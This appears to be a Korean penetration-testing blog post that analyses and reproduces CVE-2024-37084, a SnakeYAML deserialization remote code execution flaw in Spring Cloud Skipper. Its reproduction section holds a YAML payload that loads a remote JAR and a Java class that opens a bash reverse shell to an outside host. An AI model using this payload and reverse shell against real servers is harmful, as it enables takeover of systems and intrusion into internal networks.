CVE-2024-37084: Remote Code Execution in Spring Cloud Data Flow
- CVE-2024-37084: Remote Code Execution in Spring Cloud Data Flow
- 1. 서론
- 2. CVE-2024-37084
- 3. 결론
- 4. 참고 자료
라온시큐어 화이트햇센터 핵심연구팀 이고원
CVE-2024-37084: Remote Code Execution in Spring Cloud Data Flow
1. 서론
침투 테스트를 수행하다 보면 다양한 환경들을 접하게 되고, 목표 달성을 위해 알려진 취약점들을 활용하기도 합니다. 이 글에서는 최근 보고된 Spring Cloud Data Flow에서 역직렬화 취약점으로 인해 발생한 원격 코드 실행 취약점을 분석 및 재현하는 과정을 설명합니다.
1.1 Spring Cloud Data Flow
Spring Cloud Data Flow is a microservices-based toolkit for building streaming and batch data processing pipelines in Cloud Foundry and Kubernetes.
Data processing pipelines consist of Spring Boot apps, built using the Spring Cloud Stream or Spring Cloud Task microservice frameworks.
This makes Spring Cloud Data Flow ideal for a range of data processing use cases, from import/export to event streaming and predictive analytics.
Spring Cloud Data Flow는 분산 데이터 처리 파이프라인을 설계, 배포, 관리하기 위한 마이크로서비스 기반의 툴킷으로, Spring 환경에서 주로 실시간 데이터 처리와 배치 작업을 지원합니다.
1.2 데이터 직렬화
데이터 직렬화는 데이터 구조나 객체를 바이트 스트림으로 변환하여 파일로 저장하거나 네트워크를 통해 전송할 수 있도록 만드는 과정입니다. 직렬화는 시스템 간 데이터 교환, 파일 저장, 분산 시스템의 메시지 전달 등에 활용되며, JSON, XML, YAML 등 다양한 형식으로 구현됩니다. 그러나 입력 값에 대한 적절한 필터링 과정을 거치지 않아 직렬화된 데이터가 역직렬화 과정에서 악의적인 입력 값을 포함할 경우에 원격 코드 실행과 같은 보안 취약점이 발생할 수 있습니다.
2. CVE-2024-37084
2024년 7월 25일에 공개된 CVE-2024-37084는 Spring Cloud Data Flow 2.11.4 이전 버전에서 발생하는 취약점으로, Skipper 서버 API에 접근할 수 있는 악의적인 사용자가 조작된 업로드 요청을 통해 파일 시스템에 임의의 파일을 작성하여 서버를 손상시킬 수 있는 가능성이 존재합니다.
Spring Cloud Skipper는 SCDF의 배포 및 업그레이드 작업을 돕기 위한 패키지 기반 배포 관리 도구입니다. 애플리케이션의 배포, 롤백, 버전 관리를 간단하게 처리하도록 설계되었습니다.
영향을 받는 버전 - Spring Cloud Skipper 2.11.0 ~ 2.11.3
CVSS Score - 8.8
2.1 취약점 분석
POST /api/package/upload HTTP/1.1
Content-Type: application/json;charset=UTF-8
Accept: application/json
Content-Length: 163
Host: localhost:7577
{
"name" : "log",
"repoName" : "local",
"version" : "1.0.0",
"extension" : "zip",
"packageFileAsBytes" : "cGFja2FnZS55bWwKdGVtcGxhdGVzCnZhbHVlcy55bWwK"
}
Spring Cloud Skipper에는 패키지를 로컬 데이터베이스 백업 저장소에 업로드할 수 있는 API가 존재합니다. 해당 API를 사용할 때 upload
메서드가 호출되는데, 이때 취약점이 발생하게 됩니다.
2.1.1 upload()
@Transactional
public PackageMetadata upload(UploadRequest uploadRequest) {
validateUploadRequest(uploadRequest);
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
Path packageDirPath = null;
try {
packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths
.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"
+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
ZipUtil.unpack(packageFile.toFile(), packageDir);
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName()
+ "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName())
|| !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
throw new SkipperException(String.format("Package definition in the request [%s:%s] " +
"differs from one inside the package.yml [%s:%s]",
uploadRequest.getName(), uploadRequest.getVersion(),
packageMetadata.getName(), packageMetadata.getVersion()));
}
if (localRepositoryToUpload != null) {
packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);
}
catch (IOException e) {
throw new SkipperException("Failed to upload the package.", e);
}
finally {
if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
logger.warn("Temporary directory can not be deleted: " + packageDirPath);
}
}
}
upload
메서드는 위와 같은 구조를 가지고 있습니다.
public PackageMetadata upload(UploadRequest uploadRequest) {
validateUploadRequest(uploadRequest);
...
}
public class UploadRequest {
private String name;
private String repoName;
private String version;
private String extension;
private byte[] packageFileAsBytes;
...
}
패키지 파일을 업로드하기 위해 /api/package/upload
에 POST 요청을 보내면 upload
메서드가 호출되면서 UploadRequest
객체를 인자로 전달 받습니다. 가장 먼저 객체의 유효성 검사를 위해 validateUploadRequest
메서드가 호출됩니다.
packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
업로드된 패키지를 처리하기 위한 임시 디렉터리를 생성하고, 업로드된 패키지의 이름을 따서 임시 디렉터리 안에 고유한 하위 디렉터리를 생성합니다.
Path packageFile = Paths
.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"
+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
패키지 파일이 저장될 전체 경로를 구성하는 부분입니다. 패키지 업로드 요청에서 이름, 버전, 확장자 정보를 가져와 경로를 구성합니다. 그리고 패키지 파일을 저장할 임시 디렉터리가 생성되었는지 확인한 뒤, 패키지 파일에 대한 바이트 정보를 packageFile
경로에 작성하여 파일로 생성합니다.
ZipUtil.unpack(packageFile.toFile(), packageDir);
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName()
+ "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
ZIP 형식으로 업로드된 패키지 파일을 이전에 생성한 임시 디렉터리인 packageDir
에 압축 해제하고, unzippedPath
경로에 저장합니다. 그리고 패키지가 정상적으로 압축 해제되었는지 확인합니다.
Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName())
|| !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
throw new SkipperException(String.format("Package definition in the request [%s:%s] " +
"differs from one inside the package.yml [%s:%s]",
uploadRequest.getName(), uploadRequest.getVersion(),
packageMetadata.getName(), packageMetadata.getVersion()));
}
this.packageReader.read()
메서드를 통해 압축 해제된 패키지의 내용을 읽고, 패키지에 대한 메타데이터를 추출합니다. 추출된 메타데이터를 업로드 요청에 설정되었던 이름과 버전 정보를 비교하게 되는데, 내용이 일치하지 않는 경우에 예외가 발생합니다.
업로드된 패키지 파일을 저장하고 처리하기 위해 임시 디렉터리 생성 및 압축 해제 경로는 위와 같이 디버깅을 통해 확인할 수 있습니다.
2.1.2 read()
public interface PackageReader {
/**
* Reads the Package from the specified file
* @param directory the directory containing the unzipped file
* @return the corresponding Package
*/
Package read(File directory);
}
public class DefaultPackageReader implements PackageReader {
@Override
public Package read(File packageDirectory) { ... }
...
}
취약점의 흐름은 패키지 파일의 내용을 읽기 위해 호출된 this.packageReader.read()
로 이어집니다. 인터페이스인 PackageReader
를 구현한 부분은 DefaultPackageReader
클래스에서 확인할 수 있습니다. read
메서드는 주어진 디렉터리에서 패키지 파일을 읽고 메타데이터, 구성 값, 템플릿 파일, 종속 패키지 등을 처리하여 패키지 객체를 구성하는 역할을 합니다.
Assert.notNull(packageDirectory, "File to load package from can not be null");
List<File> files;
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}
Package pkg = new Package();
List<FileHolder> fileHolders = new ArrayList<>();
가장 먼저, 지정된 디렉터리에 패키지가 존재하는지 확인합니다. 이후 디렉터리 내에 존재하는 파일들을 순회하면서 탐색하기 위해 Files.walk()
메서드를 사용하여 파일 경로 스트림을 생성하고, 절대 경로를 통해 File
객체로 변환하여 files
리스트에 저장합니다. 예외가 발생하지 않으면, 패키지에 대한 정보를 저장하기 위해 Package
객체를 초기화합니다.
// Iterate over all files and "deserialize" the package.
for (File file : files) {
// Package metadata
if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
pkg.setMetadata(loadPackageMetadata(file));
continue;
}
if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
fileHolders.add(loadManifestFile(file));
continue;
}
// Package property values for configuration
if (file.getName().equalsIgnoreCase("values.yaml") ||
file.getName().equalsIgnoreCase("values.yml")) {
pkg.setConfigValues(loadConfigValues(file));
continue;
}
// The template files
final File absoluteFile = file.getAbsoluteFile();
if (absoluteFile.isDirectory() && absoluteFile.getName().equals("templates")) {
pkg.setTemplates(loadTemplates(file));
continue;
}
// dependent packages
if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
File[] dependentPackageDirectories = file.listFiles();
List<Package> dependencies = new ArrayList<>();
for (File dependentPackageDirectory : dependentPackageDirectories) {
dependencies.add(read(dependentPackageDirectory));
}
pkg.setDependencies(dependencies);
}
}
다음으로, 패키지를 구성하는 파일에 대한 목록을 순회하며 각각의 파일 유형들에 대한 처리가 이루어집니다. 해당 취약점에서 가장 중요한 부분은 패키지의 메타데이터를 처리하는 단계입니다. 패키지의 메타데이터를 포함하고 있는 package.yaml
또는 package.yml
이라는 이름의 파일이 존재하면, loadPackageMetadata
메서드를 사용하여 메타데이터를 읽어 Package
객체에 추가합니다. 이와 같은 방식으로 파일의 이름을 확인하여 구성 값, 템플릿 파일, 종속 패키지 등을 처리하는 과정을 거칩니다.
if (!fileHolders.isEmpty()) {
pkg.setFileHolders(fileHolders);
}
return pkg;
마지막으로 매니페스트 파일이 존재하여 fileHolders
리스트가 비어 있지 않으면 Package
객체에 추가하고 해당 객체를 반환합니다.
2.1.3 loadPackageMetadata()
private PackageMetadata loadPackageMetadata(File file) { ... }
read
메서드 내에서 패키지의 메타데이터를 처리하기 위해 loadPackageMetadata
메서드가 호출됩니다. 이 메서드는 DefaultPackageReader
클래스에 존재하며, YAML 파일의 내용을 읽어 구문을 분석하고 객체를 매핑합니다.
// The Representer will not try to set the value in the YAML on the
// Java object if it isn't present on the object
DumperOptions options = new DumperOptions();
Representer representer = new Representer(options);
representer.getPropertyUtils().setSkipMissingProperties(true);
LoaderOptions loaderOptions = new LoaderOptions();
Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
먼저 YAML 파서에 대한 옵션을 설정합니다. Representer
는 YAML 파일에 특정 속성이 누락되어 있더라도 에러를 발생시키지 않고 객체에 값을 설정하지 않은 채로 넘어가도록 합니다. 그리고 SnakeYAML 생성자를 통해 YAML 파일의 내용을 PackageMetadata
클래스에 직접 매핑하여 Yaml
객체를 생성합니다.
String fileContents = null;
try {
fileContents = FileUtils.readFileToString(file);
}
catch (IOException e) {
throw new SkipperException("Error reading yaml file", e);
}
메서드의 인자로 받은 File
객체로부터 전체 파일 내용을 읽어 문자열로 변환합니다.
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
return pkgMetadata;
마지막으로 yaml.load
메서드를 사용하여 YAML 파일의 내용을 분석하고, 해당 객체를 PackageMetadata
객체로 변환하여 반환합니다. 취약점은 결과적으로 이 과정에서 발생합니다.
yaml.load
메서드는 메타데이터 내의 구문을 역직렬화 하는데, YAML 파서를 설정할 때 PackageMetadata
클래스에 직접 매핑하도록 구성된 생성자를 사용합니다. YAML 파일 내용에 !!javax.script.ScriptEngineManager
와 같은 특수한 구문이 포함되어 있는 경우, YAML 파서가 Java 클래스 인스턴스를 생성하려고 시도하기 때문에, 임의의 코드가 실행될 수 있는 위험성이 존재합니다. 따라서 입력에 대한 적절한 처리가 이루어지지 않으면 문제가 발생할 수 있습니다.
2.2 취약점 재현
2.2.1 SnakeYaml 역직렬화 취약점
CVE-2022-1471: Unsafe deserialization vulnerability in SnakeYaml
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
과거 SnakeYaml에 존재했던 역직렬화 취약점을 통해 원격 코드 실행이 가능합니다. 위에서 예시로 들었던 것처럼, ScriptEngineManager
로 Java의 특정 스크립트 엔진을 실행할 수 있고, URLClassLoader
를 통해 지정된 URL에 접근하여 클래스 파일을 다운로드 및 로드할 수 있습니다. 악의적으로 조작된 클래스 파일이 저장되어 있는 경로에 접근한다면, 임의의 명령을 실행할 수 있습니다.
repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 1.0.0
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.0.2:10500/yaml-payload.jar"]]]]
name: thePoc
패키지 파일 내 임의의 속성 값에 위와 같은 페이로드를 삽입합니다. 해당 URL에는 원격 코드 실행에 사용될 악성 파일이 위치하도록 합니다.
public class PackageMetadata extends AbstractEntity {
@NotNull
private String apiVersion;
private String origin;
@NotNull
private Long repositoryId;
@NotNull
private String repositoryName;
@NotNull
private String kind;
@NotNull
private String name;
private String displayName;
@NotNull
private String version;
...
}
위의 패키지 파일 예시에서는 displayName
속성에 페이로드를 삽입하였지만, PackageMetadata
클래스의 구조를 보면 String 타입의 다른 속성에도 페이로드를 삽입할 수 있다는 것을 알 수 있습니다.
Skipper API를 이용하여 패키지 파일 업로드 요청을 보내면 사진과 같이 Skipper 서버가 해당 URL에 접근하는 것을 확인할 수 있습니다.
thePoc-1.0.0.zip
└── thePoc-1.0.0
└── package.yaml
업로드할 패키지 파일은 ZIP 형식이어야 하며, 위의 구조와 같이 압축 파일명과 동일한 이름의 디렉터리 내에 YAML 파일이 위치하고 있어야 에러가 발생하지 않고 패키지 파일이 정상적으로 인식됩니다.
2.2.2 리버스 셸 연결
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Process p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.0.2/9900 0>&1");
} catch (IOException e) {
e.printStackTrace();
}
}
...
}
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
SnakeYAML 취약점과 관련하여 공개되어 있는 스켈레톤 코드를 기반으로, 리버스 셸을 연결하기 위한 페이로드를 삽입 후 Java 아카이브 파일(JAR)을 생성합니다.
Status Code: 500
Response Body: {"timestamp":"2024-10-24T09:25:17.787+00:00","status":500,"error":"Internal Server Error","exception":"org.yaml.snakeyaml.constructor.ConstructorException","message":"Cannot create property=displayName for JavaBean=PackageMetadata{id='null', apiVersion='1.0.0', origin='thePoc', repositoryName='local', kind='test', name='null', version='5.0.0', packageSourceUrl='null', packageHomeUrl='null', tags='null', maintainer='null', description='null', sha256='null', iconUrl='null'}\n in 'string', line 1, column 1:\n repositoryId: 1\n ^\nCan't construct a java object for tag:yaml.org,2002:javax.script.ScriptEngineManager; exception=java.lang.reflect.InvocationTargetException\n in 'string', line 7, column 14:\n displayName: !!javax.script.ScriptEngineManag ... \n ^\n\n in 'string', line 7, column 14:\n displayName: !!javax.script.ScriptEngineManag ... \n ^\n","path":"/api/package/upload"}
Status Code: 500
Response Body: {"timestamp":"2024-10-24T09:26:01.779+00:00","status":500,"error":"Internal Server Error","exception":"org.yaml.snakeyaml.constructor.ConstructorException","message":"Cannot create property=displayName for JavaBean=PackageMetadata{id='null', apiVersion='1.0.0', origin='thePoc', repositoryName='local', kind='test', name='null', version='5.0.0', packageSourceUrl='null', packageHomeUrl='null', tags='null', maintainer='null', description='null', sha256='null', iconUrl='null'}\n in 'string', line 1, column 1:\n repositoryId: 1\n ^\nargument type mismatch\n in 'string', line 7, column 14:\n displayName: !!javax.script.ScriptEngineManag ... \n ^\n","path":"/api/package/upload"}
처음에는 리버스 셸이 정상적으로 연결되지 않아 낮은 버전의 JDK로 대체하여 문제가 해결되는 것을 확인하였습니다. 에러 메시지가 다른 것으로 보아, JAR 파일을 생성할 때 사용되는 JDK 버전에 따른 차이가 존재하여 정상적으로 인식하지 못했던 것으로 보입니다.
공개된 PoC 코드를 사용하여 JAR 파일이 저장되어 있는 URL에 접근하도록 하는 패키지 파일을 업로드하면, 결과적으로 위의 사진과 같이 리버스 셸이 연결되는 것을 확인할 수 있습니다.
3. 결론
앞에서 서술한 과정을 거쳐 원격 코드 실행을 통해 Spring Cloud Skipper 서버에 대한 제어권 탈취가 가능한 것을 확인하였습니다. 일반적으로 해당 서비스를 외부에 노출된 상태로 사용할 가능성은 적지만, 만약 외부에서 접근이 가능하다면 해당 취약점을 통해 내부망에 침투할 수 있는 가능성이 존재합니다. 또한 이미 내부망 침투에 성공한 경우에는 측면 이동에 충분히 활용될 수 있을 것으로 판단됩니다.
4. 참고 자료
- https://spring.io/security/cve-2024-37084
- https://blog.securelayer7.net/spring-cloud-skipper-vulnerability
- https://github.com/Kayiyan/CVE-2024-37084-Poc
- https://kayiyan.gitbook.io/research/cve/cve-2024-37084-spring-cloud-remote-code-execution
- https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471/
- https://www.websec.ca/publication/Blog/CVE-2022-21404-Another-story-of-developers-fixing-vulnerabilities-unknowingly-because-of-CodeQL
- https://github.com/artsploit/yaml-payload